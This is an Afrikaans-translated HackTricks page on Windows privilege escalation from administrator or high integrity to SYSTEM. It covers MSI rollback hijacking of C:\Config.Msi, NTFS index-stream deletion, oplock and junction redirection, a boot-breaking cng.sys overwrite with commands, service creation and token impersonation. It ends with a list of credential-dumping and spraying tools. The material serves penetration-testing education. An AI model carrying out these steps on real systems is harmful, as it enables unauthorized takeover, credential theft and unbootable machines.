Jy het al die nodige lêers en inligting in die volgende GitHub-bewaarplek:
https://github.com/jas502n/CVE-2019-1388
Van Administrator Medium na High Integrity Level / UAC Bypass
Lees dit om meer te leer oor Integrity Levels:
Lees dan dit om meer te leer oor UAC en UAC bypasses:
Van Arbitrary Folder Delete/Move/Rename na SYSTEM EoP
Die tegniek beskryf in hierdie blog post met ’n exploit-kode beskikbaar hier.
Die aanval bestaan basies uit die misbruik van die Windows Installer se rollback-funksie om wettige lêers deur kwaadwillige te vervang tydens die deïnstallasieproses. Hiervoor moet die aanvaller ’n kwaadwillige MSI installer skep wat gebruik sal word om die C:\Config.Msi-gids te hijack, wat later deur die Windows Installer gebruik sal word om rollback-lêers op te berg tydens die deïnstallasie van ander MSI-pakkette waar die rollback-lêers gewysig sou word om die kwaadwillige payload te bevat.
Die saamgevatte tegniek is soos volg:
- Stage 1 – Preparing for the Hijack (leave
C:\Config.Msiempty)
-
Step 1: Install the MSI
-
Skep ’n
.msiwat ’n onskuldige lêer (bv.dummy.txt) in ’n skryfbare gids (TARGETDIR) installeer. -
Merk die installer as “UAC Compliant”, sodat ’n non-admin user dit kan uitvoer.
-
Hou ’n handle oop na die lêer na die installasie.
-
Step 2: Begin Uninstall
-
Deïnstalleer dieselfde
.msi. -
Die uninstall-proses begin lêers na
C:\Config.Msiskuif en hernoem hulle na.rbf-lêers (rollback-backups). -
Poll die oop lêer-handle met
GetFinalPathNameByHandleom te identifiseer wanneer die lêerC:\Config.Msi\<random>.rbfword. -
Step 3: Custom Syncing
-
Die
.msibevat ’n custom uninstall action (SyncOnRbfWritten) wat: -
Gee ’n sein wanneer
.rbfgeskryf is. -
Wag dan op ’n ander gebeurtenis voordat die uninstall voortgaan.
-
Step 4: Block Deletion of
.rbf -
Wanneer sein ontvang, open die
.rbf-lêer sonderFILE_SHARE_DELETE— dit verhoed dat dit verwyder word. -
Gee dan ’n sein terug sodat die uninstall kan klaarmaak.
-
Windows Installer slaag nie daarin om die
.rbfte verwyder nie, en omdat dit nie al die inhoud kan verwyder nie, wordC:\Config.Msinie verwyder nie. -
Step 5: Manually Delete
.rbf -
Jy (aanvaller) verwyder die
.rbf-lêer handmatig. -
Nou is
C:\Config.Msileeg, gereed om gehijack te word.
Op hierdie punt, trigger die SYSTEM-level arbitrary folder delete vulnerability om
C:\Config.Msite verwyder.
- Stage 2 – Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msiwith Weak ACLs -
Herstel self die
C:\Config.Msi-gids. -
Stel swak DACLs in (bv. Everyone:F), en hou ’n handle oop met
WRITE_DAC. -
Step 7: Run Another Install
-
Installeer die
.msiweer, met: -
TARGETDIR: Writable location. -
ERROROUT: A variable that triggers a forced failure. -
Hierdie installasie sal gebruik word om weer rollback te veroorsaak, wat
.rbsen.rbflees. -
Step 8: Monitor for
.rbs -
Gebruik
ReadDirectoryChangesWomC:\Config.Msite monitor totdat ’n nuwe.rbsverskyn. -
Gryp die lêernaam.
-
Step 9: Sync Before Rollback
-
Die
.msibevat ’n custom install action (SyncBeforeRollback) wat: -
Gee ’n sein wanneer die
.rbsgeskep word. -
En wag dan voordat dit voortgaan.
-
Step 10: Reapply Weak ACL
-
Na ontvangs van die
.rbs created-sein: -
Die Windows Installer hertoepas sterk ACLs op
C:\Config.Msi. -
Maar aangesien jy steeds ’n handle met
WRITE_DAChet, kan jy weer swak ACLs hertoepas.
ACLs word slegs afgedwing wanneer ’n handle oopgemaak word, dus kan jy steeds na die gids skryf.
-
Step 11: Drop Fake
.rbsand.rbf -
Oorskryf die
.rbs-lêer met ’n valse rollback-skrip wat vir Windows sê om: -
Herstel jou
.rbf-lêer (kwaadwillige DLL) na ’n bevoorregte ligging (bv.C:\Program Files\Common Files\microsoft shared\ink\HID.DLL). -
Plaas jou valse
.rbfwat ’n kwaadwillige SYSTEM-level payload DLL bevat. -
Step 12: Trigger the Rollback
-
Seine die sync-geleentheid sodat die installer hervat.
-
’n type 19 custom action (
ErrorOut) is gekonfigureer om die installasie doelbewus te laat misluk by ’n bekende punt. -
Dit veroorsaak dat rollback begin.
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer:
-
Lees jou kwaadwillige
.rbs. -
Kopieer jou
.rbfDLL na die teikengids. -
Jy het nou jou kwaadwillige DLL in ’n SYSTEM-gelaaide pad.
-
Final Step: Execute SYSTEM Code
-
Voer ’n vertroude auto-elevated binary (bv.
osk.exe) uit wat die DLL laai wat jy gehijack het. -
Boom: Jou kode word uitgevoer as SYSTEM.
Van Arbitrary File Delete/Move/Rename na SYSTEM EoP
Die hoof MSI rollback-tegniek (hierbo) veronderstel dat jy ’n gehele gids kan verwyder (bv. C:\Config.Msi). Maar wat as jou kwesbaarheid slegs arbitrary file deletion toelaat?
Jy kan die NTFS internals uitspeel: elke gids het ’n verborge alternate data stream genaamd:
C:\SomeFolder::$INDEX_ALLOCATION
Hierdie stroom stoor die indeksmetadata van die gids.
Dus, as jy die ::$INDEX_ALLOCATION-stroom van ’n gids verwyder, verwyder NTFS die hele gids uit die lêerstelsel.
Jy kan dit doen met standaard lêerverwyderings-APIs soos:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Alhoewel jy ’n file delete API aanroep, dit verwyder die vouer self.
Van Folder Contents Delete na SYSTEM EoP
Wat as jou primitive jou nie toelaat om arbitrêre lêers/vouers te verwyder nie, maar dit laat wel die verwydering van die contents van ’n deur die aanvaller beheerde vouer toe?
- Stap 1: Stel ’n aas-vouer en lêer op
- Skep:
C:\temp\folder1 - Daarin:
C:\temp\folder1\file1.txt
- Stap 2: Plaas ’n oplock op
file1.txt
- Die oplock pauzeer uitvoering wanneer ’n geprivilegieerde proses probeer om
file1.txtte verwyder.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Stap 3: Aktiveer SYSTEM-proses (bv.
SilentCleanup)
- Hierdie proses blaai deur vouers (bv.
%TEMP%) en probeer hul inhoud verwyder. - Wanneer dit by
file1.txtkom, word die oplock geaktiveer en word beheer aan jou callback oorgedra.
- Stap 4: Binne die oplock callback – herlei die verwydering
-
Opsie A: Verplaas
file1.txtelders -
Dit maak
folder1leeg sonder om die oplock te breek. -
Moet nie
file1.txtdirek verwyder nie — dit sou die oplock voortydig vrylaat. -
Opsie B: Skakel
folder1om in ’n junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Opsie C: Skep ’n symlink in
\RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
Dit mik op die NTFS interne stroom wat gidsmetadata stoor — deur dit te verwyder verwyder jy die gids.
- Stap 5: Vrylaat die oplock
- SYSTEM proses gaan voort en probeer
file1.txtte verwyder. - Maar nou, weens die junction + symlink, verwyder dit eintlik:
C:\Config.Msi::$INDEX_ALLOCATION
Resultaat: C:\Config.Msi word deur SYSTEM verwyder.
Van arbitêre vouer-skep na permanente DoS
Benut ’n primitive wat jou toelaat om ’n arbitêre vouer as SYSTEM/admin te skep — selfs al kan jy nie lêers skryf of swakke permissies instel.
Skep ’n vouer (nie ’n lêer nie) met die naam van ’n kritieke Windows driver, bv.:
C:\Windows\System32\cng.sys
- Hierdie pad kom gewoonlik ooreen met die
cng.syskernel-mode driver. - If you pre-create it as a folder, Windows fails to load the actual driver on boot.
- Dan probeer Windows
cng.systydens opstart te laai. - Dit sien die map, slaag nie daarin om die werklike driver te resolve nie, en crash of staak die opstart.
- Daar is geen terugvalopsie nie, en geen herstel sonder eksterne ingryping (bv. opstartherstel of skyftoegang).
Vanaf geprivilegieerde log/backup-paaie + OM symlinks na arbitrary file overwrite / boot DoS
Wanneer ’n geprivilegieerde diens logs/exports skryf na ’n pad wat uit ’n skryfbare config gelees word, herlei daardie pad met Object Manager symlinks + NTFS mount points om die geprivilegieerde skrywing in ’n arbitrary overwrite te verander (selfs sonder SeCreateSymbolicLinkPrivilege).
Vereistes
- Konfigurasie wat die teikenpad stoor is skryfbaar deur die aanvaller (bv.
%ProgramData%\...\.ini). - Vermoë om ’n mount point na
\RPC Controlte skep en ’n OM file symlink te maak (James Forshaw symboliclink-testing-tools). - ’n Geprivilegieerde operasie wat na daardie pad skryf (log, export, report).
Voorbeeldketting
- Lees die config om die geprivilegieerde logbestemming te bepaal, bv.
SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txtinC:\ProgramData\ICONICS\IcoSetup64.ini. - Herlei die pad sonder admin:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
- Wag dat die bevoorregte komponent die log skryf (bv. admin aktiveer “send test SMS”). Die skryf beland nou in
C:\Windows\System32\cng.sys. - Inspekteer die oorskryfde teiken (hex/PE parser) om korrupsie te bevestig; herbegin dwing Windows om die gemanipuleerde driver-pad te laai → boot loop DoS. Dit generaliseer ook na enige beskermde lêer wat ’n bevoorregte diens vir skryf sal oopmaak.
cng.sysis normaalweg gelaai vanafC:\Windows\System32\drivers\cng.sys, maar as ’n kopie bestaan inC:\Windows\System32\cng.syskan dit eers probeer word, wat dit ’n betroubare DoS sink maak vir gekorrumpeerde data.
Van High Integrity na System
Nuwe diens
As jy reeds op ’n High Integrity-proses loop, kan die pad na SYSTEM maklik wees net deur ’n nuwe diens te skep en uit te voer:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
Wanneer jy ’n service binary skep, maak seker dit is ’n geldige service of dat die binary die nodige aksies vinnig uitvoer, aangesien dit binne 20s gedood sal word as dit nie ’n geldige service is nie.
AlwaysInstallElevated
Vanuit ’n High Integrity proses kan jy probeer om die AlwaysInstallElevated registerinskrywings te aktiveer en ’n reverse shell te installeer met ’n .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.
High + SeImpersonate privilege to System
Jy kan find the code here.
From SeDebug + SeImpersonate to Full Token privileges
As jy daardie token-privileges het (waarskynlik sal jy dit in ’n reeds bestaande High Integrity proses vind), sal jy in staat wees om byna enige proses te open (not protected processes) met die SeDebug-privilege, die proses se token te kopieer, en ’n arbitrêre proses met daardie token te skep.
Hierdie tegniek kies gewoonlik enige proses wat as SYSTEM loop met al die token-privileges (ja, jy kan SYSTEM-prosesse vind sonder al die token-privileges).
You can find an example of code executing the proposed technique here.
Named Pipes
Hierdie tegniek word deur meterpreter gebruik om in getsystem te eskaleer. Die tegniek bestaan daarin om ’n pipe te skep en dan ’n service te skep/benut om op daardie pipe te skryf. Dan sal die server wat die pipe geskep het met die SeImpersonate privilege in staat wees om die token van die pipe-kliënt (die service) te impersonate en SYSTEM-privileges te verkry.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.
Dll Hijacking
As jy daarin slaag om ’n dll te hijack wat deur ’n proses wat as SYSTEM loop geladen word, sal jy arbitêre kode met daardie permissies kan uitvoer. Daarom is Dll Hijacking ook nuttig vir hierdie tipe privilege escalation, en verder is dit baie makkelijker om van ’n high integrity proses te bereik aangesien dit skryfpermissies op die vouers het wat gebruik word om dlls te load.
Jy kan learn more about Dll hijacking here.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Read: https://github.com/itm4n/FullPowers
More help
Useful tools
Best tool to look for Windows local privilege escalation vectors: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) – Kyk vir misconfigurasies en sensitiewe lêers (check here). Detected.
JAWS – Kyk vir sommige moontlike misconfigurasies en versamel inligting (check here).
privesc – Kyk vir misconfigurasies
SessionGopher – Dit haal PuTTY, WinSCP, SuperPuTTY, FileZilla, en RDP gestoor sessie-inligting uit. Gebruik -Thorough lokaal.
Invoke-WCMDump – Haal credentials uit Credential Manager uit. Detected.
DomainPasswordSpray – Spray versamelde wagwoorde oor die domein
Inveigh – Inveigh is ’n PowerShell ADIDNS/LLMNR/mDNS spoofer en man-in-the-middle hulpmiddel.
WindowsEnum – Basiese privesc Windows enumerasieSherlock ~~~~ – Search for known privesc vulnerabilities (DEPRECATED for Watson)WINspect – Local checks (Need Admin rights)
Exe
Watson – Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) (precompiled)
SeatBelt – Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) (precompiled)
LaZagne – Haal credentials uit baie sagteware uit (precompiled exe in github)
SharpUP – Port van PowerUp na C#Beroot ~~~~ – Kyk vir misconfigurasies (uitvoerbare precompiled in github). Nie aanbeveel nie. Dit werk nie goed in Win10 nie.Windows-Privesc-Check – Kyk vir moontlike misconfigurasies (exe vanaf python). Nie aanbeveel nie. Dit werk nie goed in Win10 nie.
Bat
winPEASbat – Hulpmiddel geskep gebaseer op hierdie pos (dit benodig nie accesschk om behoorlik te werk nie maar dit kan dit gebruik).
Local
Windows-Exploit-Suggester – Lees die output van systeminfo en beveel werkende exploits aan (lokale python)
Windows Exploit Suggester Next Generation – Lees die output van systeminfo en beveel werkende exploits aan (lokale python)
Meterpreter
multi/recon/local_exploit_suggestor
Jy moet die projek saamstel met die korrekte weergawe van .NET (see this). Om die geïnstalleerde weergawe van .NET op die slagoffer se gasheer te sien kan jy doen:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Verwysings
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
-
Unit 42 – Privileged File System Vulnerability Present in a SCADA System
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


